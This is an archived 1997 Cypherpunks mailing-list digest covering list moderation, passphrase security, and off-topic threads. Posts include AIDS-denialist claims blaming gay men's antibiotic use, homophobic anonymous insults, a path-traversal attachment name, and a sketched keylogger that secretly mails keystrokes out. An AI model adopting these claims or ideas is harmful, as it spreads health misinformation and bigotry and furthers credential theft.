In-Reply-To: <Pine.LNX.3.95.970127064959.1178B-100000@columbia.harter.pg.md.us>
Message-ID: <32ECC930.9EE@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Daniel Harter wrote:
> ichudov@algebra.com wrote:
> > Dale Thorn wrote:
> > > Dr.Dimitri Vulis KOTM wrote:

> > Why do they take antibiotics? Just curious.

> To treat various Venerial Diseases whose standard treatments are
> antibiotics.

> > Also, I haven't heard that antibiotics were bad for immune system,
> > has that been proven?

> What does seem to have credence is that the use of antibiotics breeds
> resistant strains of bacteria, which may or may not be contagious.

> A book that poses an opposing viewpoint to the current AIDS epidemic
> is _The AIDS War_ by John Lauritsen (1993, Asklepios, New York, ISBN
> 0-943742-08-0).  It is written from a Gay man's perspective dissenting
> from the current HIV-AIDS theory.  Another book he wrote is _Poison by
> Prescription: The AZT Story_.  Also search on Peter H. Duesberg for
> primary sources in various Journals.

According to my AIDS database, a possible reason for the "hotly
debated" theories of Duesberg is that because of the suspicion
falling on the govt. and the WHO in regard to creating the HIV
virus, the govt. was happy to have Duesberg and ilk deflecting
a lot of that criticism.  This doesn't make Duesberg wrong by
implication, but there were suggestions of disinformation....





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Daniel Harter <dharter@harter.pg.md.us>
Date: Mon, 27 Jan 1997 04:47:38 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: overview.htm (fwd)
In-Reply-To: <199701260655.WAA10146@toad.com>
Message-ID: <Pine.LNX.3.95.970127064959.1178B-100000@columbia.harter.pg.md.us>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com wrote:
> Dale Thorn wrote:
> > Dr.Dimitri Vulis KOTM wrote:
> > 
> > > > > Both homosexual males and IV drug users are well known to take a lot
> > > > > of antobiotics, which lowers the efficacy of the immune system enough
> > > > > to allow most anything to happen, ultimately leading to auto-immune
> > > > > problems.
> > 
> > > Jim and Dale, I agree.
> > > Also shooting one's bloodstream full of fecal matter hardly helps.
> > 
> > My point about the antibiotics is that the male gays take a dis-
> > proportionate amount of them, which compounds their problems.  It
> > suggests to me that the immune system is already seriously debilitated
> > or damaged before AIDS can take hold, rather than the notion that a
> > healthy person can get it from the virii alone.
> > 
> > One could argue that in the cases where the cures (antibiotics) add to
> > a person's problems by further corrupting their immune system, that
> > they should simply change their habits.  Since I don't see that as a
> > reasonable possibility, the only thing left is that the public should
> > be made aware of *all* of the relevant facts, even those which are
> > heavily suppressed now for PC reasons.
> 
> Why do they take antibiotics? Just curious.

To treat various Venerial Diseases whose standard treatments are
antibiotics. 

> Also, I haven't heard that antibiotics were bad for immune system, 
> has that been proven?

What does seem to have credence is that the use of antibiotics breeds
resistant strains of bacteria, which may or may not be contagious.

A book that poses an opposing viewpoint to the current AIDS epidemic
is _The AIDS War_ by John Lauritsen (1993, Asklepios, New York, ISBN
0-943742-08-0).  It is written from a Gay man's perspective dissenting
from the current HIV-AIDS theory.  Another book he wrote is _Poison by
Prescription: The AZT Story_.  Also search on Peter H. Duesberg for
primary sources in various Journals.

Dan Harter
dharter@harter.pg.md.us





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peterson, Mike" <petersom@hsd.k12.or.us>
Date: Mon, 27 Jan 1997 08:23:05 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: Posting percentages
Message-ID: <c=US%a=_%p=Hillsboro_School%l=HILLNET-EX2-970127162557Z-768@hillnet-ex2.hsd.k12.or.us>
MIME-Version: 1.0
Content-Type: text/plain


Dr. Dimitri Vulus KOTM wrote:

Rabid Wombat <wombat@mcfeely.bsfs.org> writes:

>> Regardless of which side you take on this matter, remember that the issue
>> was forced by the actions of an extremely small segment of the list
>> "population."
>The list "population" (readers) is a couple of thousand people, almost
>all of whom are lurkers. All posters are an extremely small segment of
>the readership. It's true on most Internet forums.

Just because us "lurkers" don't post, doesn't mean that we aren't taking
sides, agreeing, disagreeing, or otherwise. Small portions of the
population doesn't mean that the rest of us have no comment, just not
the will to make the post.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ross Wright" <rwright@adnetsol.com>
Date: Mon, 27 Jan 1997 08:21:52 -0800 (PST)
To: dlv@bwalk.dm.com>
Subject: Re: Censorship
Message-ID: <199701271621.IAA17131@adnetsol.adnetsol.com>
MIME-Version: 1.0
Content-Type: text/plain


On or About 26 Jan 97 at 22:28, Dr.Dimitri Vulis KOTM wrote:

> "Ross Wright" <rwright@adnetsol.com> writes:
> 
> > On or About 26 Jan 97 at 2:19, blanc wrote:
> >> > > >Igor Chudov @ home wrote:
> > > >>>Jim Choate wrote:
> > > >>>>>Dr.Dimitri Vulis KOTM wrote:
> > > >>>>>>>irrelevant@nowhere.com wrote:
> > > >>>>>>>>>>Dale Thorn wrote:
> > >
> > > It can be said 100,000 times, but it still comes out the same:
> > > Just as in "The only cure for bad speech is more speech", "the
> > > only cure for 'list-focus-drift' is more on-focus postings".
> >
> > THE PRICE OF FREE SPEECH IS TOLERANCE OF IDEAS THAT WE MAY
> > OBJECT TO.
> 
> Comversely, some people are willing to give up their own freedom of
> speech so as to silence others whose views they don't like. 

Who could be that stupid?  Why would they even want to give up an 
inch of their freedoms?

>They
> hope that they'll be censored less than their "enemies". 

A weak hope at best.  Once you start censoring it becomes a "Slippery 
Slope".

> But a forum
> can't be "a little bit censored" just like a woman can't be "a
> little bit pregnant".

You got that right!

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: 415-206-9906




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Brian D Williams <talon57@well.com>
Date: Mon, 27 Jan 1997 09:01:49 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: overview.htm (fwd)
Message-ID: <199701271701.JAA25515@well.com>
MIME-Version: 1.0
Content-Type: text/plain



Toto <toto@sk.sympatico.ca> writes:

>  There has been great concern raised among those in the medical 
>profession regarding the end-effects of their wholesale
>prescribing of anitbiotics for colds, aches and pains, etc.,
>leading to the development of new strains of virus which are
>immune to the older antibiotics. This leads to development of
>stronger (misused) antibiotics, which then leads to stronger
>strains of virus.
>  There have been a number of studies which point to the fact that
>the human immune system is now caught in a battle between
>increasingly potent virus and antibiotics and is losing its
>capacity to fightits 'natural' enemies.

 Antibiotics are for fighting bacterial infections.

 Antibiotics have no effect on viruses at all.

 However you are accurate in that the abuse of antibiotics for
things like colds (a virus, no effect) has led us to a very
dangerous situation. (antibiotic resistant bacteria)

I suggest the book "The Coming Plague"  who's authors name escapes
me at the moment, if you, or anyone else is interested.

Brian
Cypherpunk
Extropian

" You can lead a horse to water, but you can't faucet."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 28 Jan 1997 00:32:00 -0800 (PST)
To: harka@nycmetro.com
Subject: Re: Passphrase Online...
In-Reply-To: <199701271426.GAA23780@toad.com>
Message-ID: <3.0.1.32.19970127091008.0063c918@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


>>If I am connected to the Internet via a SLIP/PPP connection and I
>>type my passphrase while being online (for example, in Private
>>Idaho, after getting my mail), could that passphrase be compromised?
>>If so, how would that be done?

You're much safer if you're using an operating system instead of a
kluge like Windows...  On the other hand, operating systems make it
easier to run applications like telnet servers that allow someone
else to connect to your system while you're on line.
Some different ways you could be at risk include
- someone sends you a keystroke-sniffer program and tricks your machine
into running it - so it grabs your passphrase from PI or PGP and
sends it in later
- someone sends you a keystroke-sniffer program and tricks _you_
into running it, whether they use email, web, etc.
- someone logs into your system, guesses that the root password is
"trustno1", and modifies your copy of PGP to save keystrokes.
(On MSDOS, of course, you don't _need_ a root password.)
- someone sets up a web page with an evil ActiveX script that
convinces your Internet Explorer to download a new copy of PGP.
- someone sends you email with an attachment named 
..\..\..\windows\pgp.exe and your mail system is dumb enough to accept 
the pathname.
- somebody sends you email with an MS-Word/Excel/PPT attachment that,
instead of having a dumb Concept macro virus, has a macro that
does something useful like replace your copy of PGP, and you don't
have any innoculation on your MS-Word.
- any of the above, where the "pgp" program is replaced with one that's
almost identical but uses non-random numbers instead of good randoms,
and maybe also leaks out your secret key or passphrase.
- any of the above, where your email program is modified to add
Cc: janet@kremvax.su on outgoing smtp.

> Still paranoid?  Good!


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Mon, 27 Jan 1997 09:33:04 -0800 (PST)
To: paul@fatmans.demon.co.uk
Subject: Re: Rejection policy of the Cypherpunks mailing list
In-Reply-To: <854378751.95282.0@fatmans.demon.co.uk>
Message-ID: <Pine.SUN.3.91.970127083809.2185G-100000@crl.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Sun, 26 Jan 1997 paul@fatmans.demon.co.uk wrote:

> You need have no sympathy. Those members of this list see it as it 
> is, a list that was supposed to be, in some small way, a "model" of 
> an anarchistic discussion forum for the subject of cryptography,...

Nonsense.  It was supposed to be a discussion of crypto and 
other technologies in support of privacy.  The founders, Hughes,
Gilmore, May and Daniel were focusing on that goal.  The list
structure was anarchistic (and still is to those who understand
the concept of anarco-capitalism).  Obviously Gilmore is not
wedded to the idea of letting every fool use his bandwidth.  In
personal discussions as recently as yesterday, Hughes had no
problem in supporting some mechanism to promote civility on the
list.  I don't think anything May has written would suggest he
would have a problem with keeping things polite.  His only 
argument seems to be over methodology.  He thinks filtering is
the answer; I don't.  Reasonable minds may differ.  Hugh Daniel
has been instrumental in providing technical help with regard to
moderation.  Finally, the fact that the vast majority of list
members have not seen fit to "vote with their feet" should 
suggest how most really feel about moderation.  (By the way, if
you don't like moderation, you would hate Eric Hughes' favored 
solution.)

> ...That was the intended direction of the list, it 
> has rapidly disentigrated over recent months into a censored list 
> where the elite post to the main list and anyone else is nearly 
> always relegated to a seperate list for the crypto-untermenshcen.

Again, nonsense.  The moderation experiment (moderation, not
censorship) has been in effect for all of ONE WEEK.  Where does 
Paul get this hysterical "recent months" stuff?  

> If you want to talk about intellectual dishonesty try the following:
> 
> Imagine if you will a list, the original purpose of which was
> to act as a free and open forum for discussion of cryptography and 
> related issues...

Paul's argument is the essence of literal conservativism,  "but 
I don't things to change!"  Without change, though, there can be 
no progress.  Moderation is a one-month experiment.  There is no
intellectual dishonesty in saying, "let's try something else for
a while."

> Now imagine that list falling into a state of content based 
> censorship and censorship based on an unspoken but ever present 
> class structure,...

"Unspoken but ever present class structure"?  I wonder how Paul
was able to divine this?  Certainly it is unspoken, but that, of 
course, it because it does not exist anywhere but in Paul's
fertile imagination.

> It is a foregone conclusion that the upper class of list members will 
> have no dispute over the censorship and therefore the change will be 
> permenant,...

Great!  I thought that hadn't been determined yet.  What a 
relief.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Osborne <osborne@gateway.grumman.com>
Date: Mon, 27 Jan 1997 06:58:52 -0800 (PST)
To: cypherpunks mailing list <cypherpunks@toad.com>
Subject: OTP security
Message-ID: <3.0.32.19970127095802.0093fa20@gateway.grumman.com>
MIME-Version: 1.0
Content-Type: text/plain


I was thinking about the thread we had a week or so ago about OTPs.  Say
I'm going to burn a CD of what I think are cryptographically random bits,
but somehow I end up with part of my stream being predictable (say every
16th bit).  What does this do to the security of my CD?
_________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________
Sam Jones <samjones@leo.unm.edu> on the Nine Types of User:
Shaman - "Last week, when the moon was full, the clouds were thick, and
formahaut was above the horizon, I typed f77, and lo, it did compile."
Advantages: Gives insight into primative mythology.
Disadvantages:  Few scons are anthropology majors.
Symptoms: Frequent questions about irrelavent objects.
Real Case: One user complained that all information on one of their disks
got erased (as Norton Utilities showed nothing but empty sectors, I
suspect nothing had ever been on it). Reasoning that the deleted
information went *somewhere*, they 	wouldn't shut up until the scon
checked four different disks for the missing information.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lou Poppler <lwp@mail.msen.com>
Date: Mon, 27 Jan 1997 08:49:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: Moderated list is missing headers
Message-ID: <Pine.BSI.3.92.970127113703.6769A-100000@conch.msen.com>
MIME-Version: 1.0
Content-Type: text/plain


The arguments about imaginary quotes and libel are harder to untangle
because the moderation process seems to consume the mail headers showing
the messages' travels before reaching toad.com.  I suggest that these
headers are signal not noise, and should be propagated if at all possible.
We have had problems in the past with forgeries, and should retain this
basic tool for evaluating a message's source.

<preemptive remarks>
I know I could get these from the unmoderated list -- but I prefer the
moderated version so far, and think they should be here also.
I know PGP signatures are a better way of authenticating a message.
</preemptive remarks>

---------- Forwarded message ----------
Received: from toad.com (toad.com [140.174.2.1]) by mail.msen.com (8.8.5/8.6.12) with ESMTP id KAA02344 for <lwp@mail.msen.com>; Mon, 27 Jan 1997 10:58:05 -0500 (EST)
Received: (from majordom@localhost) by toad.com (8.7.5/8.7.3) id GAA24082; Mon, 27 Jan 1997 06:41:04 -0800 (PST)
Message-Id: <199701271441.GAA24082@toad.com>
Date: Mon, 27 Jan 1997 04:33:05 -0800
From: Toto <toto@sk.sympatico.ca>
To: Jim Choate <ravage@EINSTEIN.ssz.com>
Cc: cypherpunks@toad.com
Subject: Re: Fantasy quotes & libel
Sender: owner-cypherpunks@toad.com
Precedence: bulk

[ message body irrelevant ]





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kevin L Prigge <Kevin.L.Prigge-2@tc.umn.edu>
Date: Mon, 27 Jan 1997 10:04:35 -0800 (PST)
To: paul@fatmans.demon.co.uk
Subject: Re: Rejection policy of the Cypherpunks mailing list
In-Reply-To: <199701271643.IAA27438@toad.com>
Message-ID: <32ecee29303e002@noc.tc.umn.edu>
MIME-Version: 1.0
Content-Type: text/plain


paul@fatmans.demon.co.uk said:
> > I think both of these groups are intellectually dishonest in the
> > extreme when it comes to telling others how this list should be
> > run.  I doubt any of them would permit the sort of disruptive
> > behavior that goes on here to go unchallenged in salons they
> > sponsor in their own homes or on Net lists that they themselves 
> > maintain.
> 
> If you want to talk about intellectual dishonesty try the following:
> 
> Imagine if you will a list, the original purpose of which was
> to act as a free and open forum for discussion of cryptography and 
> related issues. A list which proudly proclaims in its "welcome to 
> the list" message:
> 
> We do not seek to prevent other people from
> speaking about their experiences or their opinions.
> 
> Now imagine that list falling into a state of content based 
> censorship and censorship based on an unspoken but ever present 
> class structure, then ask yourself which list you know that most 
> closely matches this description, it`s a pretty revealing exercise.

The exercise reveals to me that only by ignoring the first paragraph
of your example, the part that reads "Imagine if you will a list, 
the original purpose of which was to act as a free and open forum 
for discussion of cryptography and related issues." can you make
a claim of content based censorship. The purpose of this list was
and should be discussion of cryptography and related issues. The
fact that some people choose this as a forum for personal attacks
and blathering about issues that are not even vaguely related to
the discussion of cryptography and related issues does not make it
a proper forum for such communication.

> > This is a voluntary list folks.  We tried incivility and that did
> > not work.  Right now we are experimenting with reasoned discourse
> > in an atmosphere of interpersonal respect and good will. 
> 
> For "Reasoned discourse in an atmosphere of interpersonal respect and 
> good will" read "content based censorship".

For "voluntary list" read "voluntary list".

> 
> > If most list members like the change, it will continue.  If not, then we
> > can go back to the swill or perhaps try something else.  In the
> > meantime, get over it.  If you really like flames and spam, show
> > John and me how it really should be done.  Start another list.  
> > Of course squating and claim jumping appeal to the lazy a lot
> > more than homesteading.
> 
> It is a foregone conclusion that the upper class of list members will 
> have no dispute over the censorship and therefore the change will be 
> permenant, it is a form of online ethnic cleansing whereby the lists 
> clique of illuminati have taken it upon themselves to remove the 
> elements of the list they feel endanger their position of superiority 
> and respect, the point they have missed is that they have no 
> credibility whatsoever after this incident, as well as a number of 
> other such occurances and therefore are only isolating themselves 
> into their own little world.

The Big Lie once again. yadda yadda yadda "Censorship!" yadda yadda
yadda "No Credibility" yadda yadda yadda ad nauseum.

> 
> "cypherpunks will make the networks safe for censorship"

"Idiots will make the networks require censorship"

-- 
Kevin L. Prigge                     | Some mornings, it's just not worth
Systems Software Programmer         | chewing through the leather straps.
Internet Enterprise - OIT           | - Emo Phillips
University of Minnesota             |




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: camcc@abraxis.com (Alec)
Date: Mon, 27 Jan 1997 09:35:51 -0800 (PST)
To: Cypherpunks <cypherpunks@toad.com>
Subject: Privacy/info site
Message-ID: <3.0.32.19970127123706.00693d88@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/enriched

I stumbled upon this site and  have not had an opportunity to visit it in toto (certainly no pun intended, Mr. Toto). Seems to have a wealth of info and links for the military/security oriented.


http://hrvati.cronet.com/mprofaca/mcsusa2.html

Alec


From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc Weber <blancw@MICROSOFT.com>
Date: Mon, 27 Jan 1997 12:53:00 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: RE: Rejection policy of the Cypherpunks mailing list
Message-ID: <c=US%a=_%p=msft%l=RED-81-MSG-970127205105Z-2978@INET-04-IMC.microsoft.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	Sandy Sandfort

(By the way, if you don't like moderation, you would hate Eric Hughes'
favored solution.)
...............................................


What was that?

   ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David Lesher / hated by RBOC's in 5 states" <wb8foz@wauug.erols.com>
Date: Mon, 27 Jan 1997 10:06:42 -0800 (PST)
To: minow@apple.com (Martin Minow)
Subject: Re: Xerox is watching you
In-Reply-To: <199701270555.VAA11234@toad.com>
Message-ID: <199701271806.NAA03727@wauug.erols.com>
MIME-Version: 1.0
Content-Type: text/plain


Martin Minow sez:
> 
> You'll find an article worth a visit to the dentist in the January
> 1997 issue of Popular Science. It tells a story from the 1960's
> cold war era.

You might take this to alt.folklore.urban. Barring any factual
support, it better fits there. After all Popular Science once had
their famous battery carrier design, and an older friend related
reading of their scheme to reduce the weight of battle tanks to get
them up the Burma Road during WWII. It involved helium, and to
reduce space, it was to be compressed into large cylinders bolted to
the sides........

-- 
A host is a host from coast to coast.................wb8foz@nrk.com
& no one will talk to a host that's close........[v].(301) 56-LINUX
Unless the host (that isn't close).........................pob 1433
is busy, hung or dead....................................20915-1433




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: SpyKing <spyking@thecodex.com>
Date: Mon, 27 Jan 1997 10:25:25 -0800 (PST)
To: cypherpunks@toad.com
Subject: Best Computer School?
Message-ID: <199701271824.NAA02534@para.mne.net>
MIME-Version: 1.0
Content-Type: text/plain


This is a little off topic but maybe someone can help. I've got a teenage
son (HS sophomore) who's interested in majoring in computer science in
college with a particular interest in cryptography. He's leaning toward MIT.
Any suggestions from list members as to colleges to investigate? 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 27 Jan 1997 13:30:53 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Shave the Whales
Message-ID: <199701272130.NAA17058@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Disruptive Vasectomy died of AIDS last night with his
homosexual lover.

             \|/
             @ @
        -oOO-(_)-OOo- Dr.Disruptive Vasectomy






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Shaft <shaft@africamail.com>
Date: Mon, 27 Jan 1997 10:48:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: Passphrase Online...
Message-ID: <1.5.4.32.19970127184948.0069dd0c@pop3.afn.org>
MIME-Version: 1.0
Content-Type: text/plain



>>If I am connected to the Internet via a SLIP/PPP connection and I
>>type my passphrase while being online (for example, in Private
>>Idaho, after getting my mail), could that passphrase be compromised?
>>If so, how would that be done?

There are a number of things that can happen. Basically, if you don't
directly control the device/application that is doing the encryption for
you, you run the risk of someone intercepting whatever you xmit. For
example, if you have a dial up type shell account with your local ISP, and
you depend on some UNIX based encryption program to secure your mail
(running on the ISP's machine), anyone with root access can tap the tty and
watch you enter your passphrase. You're also susceptable (sp?) to someone
taping your phone line and looking at you with a packet analyzer. 

I suppose if you were doing something locally, and someone wanted to be
really sneaky, they could embed something like keycopy on your machine (with
a virus or something) and get coppied every time you enter a keystroke. I
don't suppose it would be all that difficult to get a machine to run a tsr
that got kicked off every time you accessed something like, say ,
PGP....Comments?

Shaft! Damn Straigt.

shaft@africamail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Mon, 27 Jan 1997 14:32:13 -0800 (PST)
To: Blanc Weber <blancw@MICROSOFT.com>
Subject: RE: Rejection policy of the Cypherpunks mailing list
In-Reply-To: <c=US%a=_%p=msft%l=RED-81-MSG-970127205105Z-2978@INET-04-IMC.microsoft.com>
Message-ID: <Pine.SUN.3.91.970127134838.16386C-100000@crl.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Mon, 27 Jan 1997, Blanc Weber wrote:

> From:	Sandy Sandfort
> 
> (By the way, if you don't like moderation, you would hate Eric Hughes'
> favored solution.)
> ...............................................
> 
> 
> What was that?

Eric, would like to require a deposit ($20 was the example he
gave) from subscriber/posters.  Non-subscribers would not be 
allowed to post.  Subscribers who voluntarily left the list, 
would get their deposit back.  Subscribers who flamed twice 
(every dog gets one bite) would be kicked off the list and their 
deposit would be forfeited (or perhaps turned over to the flame 
victim).


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ja94a08@tdi.itm.edu.my (iamme)
Date: Mon, 27 Jan 1997 00:49:19 -0800 (PST)
To: cypherpunks@toad.com
Subject: casio dialer
Message-ID: <199701270612.OAA00823@ss5-28.itm.edu.my>
MIME-Version: 1.0
Content-Type: text/plain


anyone heard of casio .. phone dialer watch ? it's stated that user can phone 
for free using public phone .. anyone ?




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Mon, 27 Jan 1997 14:17:52 -0800 (PST)
To: cypherpunks@toad.com>
Subject: Re: libsln.htm -- Is Libel a Crime?
Message-ID: <199701272217.OAA08800@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 01:14 AM 1/27/97 -0600, ichudov@algebra.com wrote:

>I am not sure if you posted this information in response to my request
>to cite a statute that would prove that libel is a crime.
>
>Me> Jim Choate wrote:
>Me> > 
>Me> > 
>Me> > 
>Me> > Are you aware that attributing statements in print to a party when that
>Me> > party did not write them is a crime?
>Me> 
>Me> cite the statute
>
>
>These postings do not prove that libel is a crime. It is because libel
>is not a crime. Libel is a tort, and unlike with crime, the government
>cannot initiate a legal action against someone for libel. Only injured
>(libeled) individuals and not the government can sue in a libel case.

On the contrary, in some jurisdictions libel is indeed a crime. However, 
that doesn't mean that prosecutions happen anymore, but the laws are (in 
some places) still  on the books.




Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Mon, 27 Jan 1997 12:43:18 -0800 (PST)
To: Kevin.L.Prigge-2@tc.umn.edu (Kevin L Prigge)
Subject: Re: Rejection policy of the Cypherpunks mailing list
In-Reply-To: <32ecee29303e002@noc.tc.umn.edu>
Message-ID: <199701272039.OAA05041@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Kevin L Prigge wrote:
> paul@fatmans.demon.co.uk said:
> > > I think both of these groups are intellectually dishonest in the
> > > extreme when it comes to telling others how this list should be
> > > run.  I doubt any of them would permit the sort of disruptive
> > > behavior that goes on here to go unchallenged in salons they
> > > sponsor in their own homes or on Net lists that they themselves 
> > > maintain.
> > 
> > If you want to talk about intellectual dishonesty try the following:
> > 
> > Imagine if you will a list, the original purpose of which was
> > to act as a free and open forum for discussion of cryptography and 
> > related issues. A list which proudly proclaims in its "welcome to 
> > the list" message:
> > 
> > We do not seek to prevent other people from
> > speaking about their experiences or their opinions.
> > 
> > Now imagine that list falling into a state of content based 
> > censorship and censorship based on an unspoken but ever present 
> > class structure, then ask yourself which list you know that most 
> > closely matches this description, it`s a pretty revealing exercise.
> 
> The exercise reveals to me that only by ignoring the first paragraph
> of your example, the part that reads "Imagine if you will a list, 
> the original purpose of which was to act as a free and open forum 
> for discussion of cryptography and related issues." can you make
> a claim of content based censorship. The purpose of this list was

Then why discussion of machine guns should be allowed here?

igor




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Erp <erp@digiforest.com>
Date: Mon, 27 Jan 1997 14:23:13 -0800 (PST)
To: John Shaft <shaft@africamail.com>
Subject: Re: Passphrase Online...
In-Reply-To: <199701271947.LAA03025@toad.com>
Message-ID: <Pine.LNX.3.95.970127152242.7173A-100000@digital.digiforest.com>
MIME-Version: 1.0
Content-Type: text/plain


> I suppose if you were doing something locally, and someone wanted to be
> really sneaky, they could embed something like keycopy on your machine (with
> a virus or something) and get coppied every time you enter a keystroke. I
> don't suppose it would be all that difficult to get a machine to run a tsr
> that got kicked off every time you accessed something like, say ,
> PGP....Comments?

Ok, just something that would be a nasty little virii in its own way...
If there was a virii produced that copied down a persons keystrokes every
time, and then when they logged onto the InterNet aka aachieved a PPP/Slip
connection, it automatically sent (without there knowing) a copy of all
the keystorkes they have made so far, and then deletes them from an
encrypted file, or from within a file it has been adding them too
*shrug*...
.. aka Automatically sends it to say an anonymous email account or some
such.

Ok *shrug*  jsut an idea...  later.....

Erp
***************************************************

Hey we have fun here at hell!  Check us out if your lucky:
http://www.fromhell.com/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Erp <erp@digiforest.com>
Date: Mon, 27 Jan 1997 14:50:01 -0800 (PST)
To: SpyKing <spyking@thecodex.com>
Subject: Re: Best Computer School?
In-Reply-To: <199701271941.LAA02719@toad.com>
Message-ID: <Pine.LNX.3.95.970127154632.7501A-100000@digital.digiforest.com>
MIME-Version: 1.0
Content-Type: text/plain





On Mon, 27 Jan 1997, SpyKing wrote:

> This is a little off topic but maybe someone can help. I've got a teenage
> son (HS sophomore) who's interested in majoring in computer science in
> college with a particular interest in cryptography. He's leaning toward MIT.
> Any suggestions from list members as to colleges to investigate? 

Well in reference to MIT..  I hope he has a 4.0 in highschool, is an
allsport, has a 1600 on his SAT's, and a prefect on his ACT..  Just to
even think about going there..  Let alone to include how well he'll have
to do on his interviews etc..  Also you may wish to have him look again at
what he wants to be before he goes to some major college such as MIT,
because tuition at MIT costs approx 100,000$/4 years.  Personally that is
a hell of a lot, but then again *shrug*...  I recommend going to a local
small college, get his associates, see if that is what he still wants to
do, then go on from there.  I know many people that started in Computer
Science and died after the first year.  
Now colleges that are good for Computer Sc ience..  I have heard that RIT
is good..  but I'm nto sure on that..  I know pretty well positive that
MIT is excellent, but when you get down to the basics MIT is more of an
engineering school than a science/philosophical school which Computer
Sciences falls under..  Another good school from what I've heard is UCLA..
then again you can discredit anything I've said, because I'm still a
HighSchool senior myself and have been looking into Computer Criminology
for the last three years, and I'm positive it is what i want so *shrug*..

Ok later...

Erp


**********************************************************8

See about coming from hell at:  http://www.fromhell.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 27 Jan 1997 15:56:08 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Senator Exon
Message-ID: <199701272355.PAA28597@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dopefiend Viscera K'ock`OfTheMinute is a pimply dweeb sitting
at a computer chortling at his own imagined cleverness.

             \|/
             @ @
        -oOO-(_)-OOo- Dr.Dopefiend Viscera K'ock`OfTheMinute






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: babeview@ntview.com
Date: Mon, 27 Jan 1997 17:22:20 -0800 (PST)
Subject: No Subject
Message-ID: <199701272215.QAA28200@hermes.ntview.com>
MIME-Version: 1.0
Content-Type: text/plain






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 27 Jan 1997 16:17:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Lucifer
Message-ID: <199701280017.QAA04432@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Dimitri Vinyl K{rap} Of The Moment styles his facial hair to
look more like pubic hair.

 v-v-v-@@-v-v-v
      (..)     Dimitri Vinyl K{rap} Of The Moment






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 27 Jan 1997 16:28:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: [IMPORTANT] New keyserver available
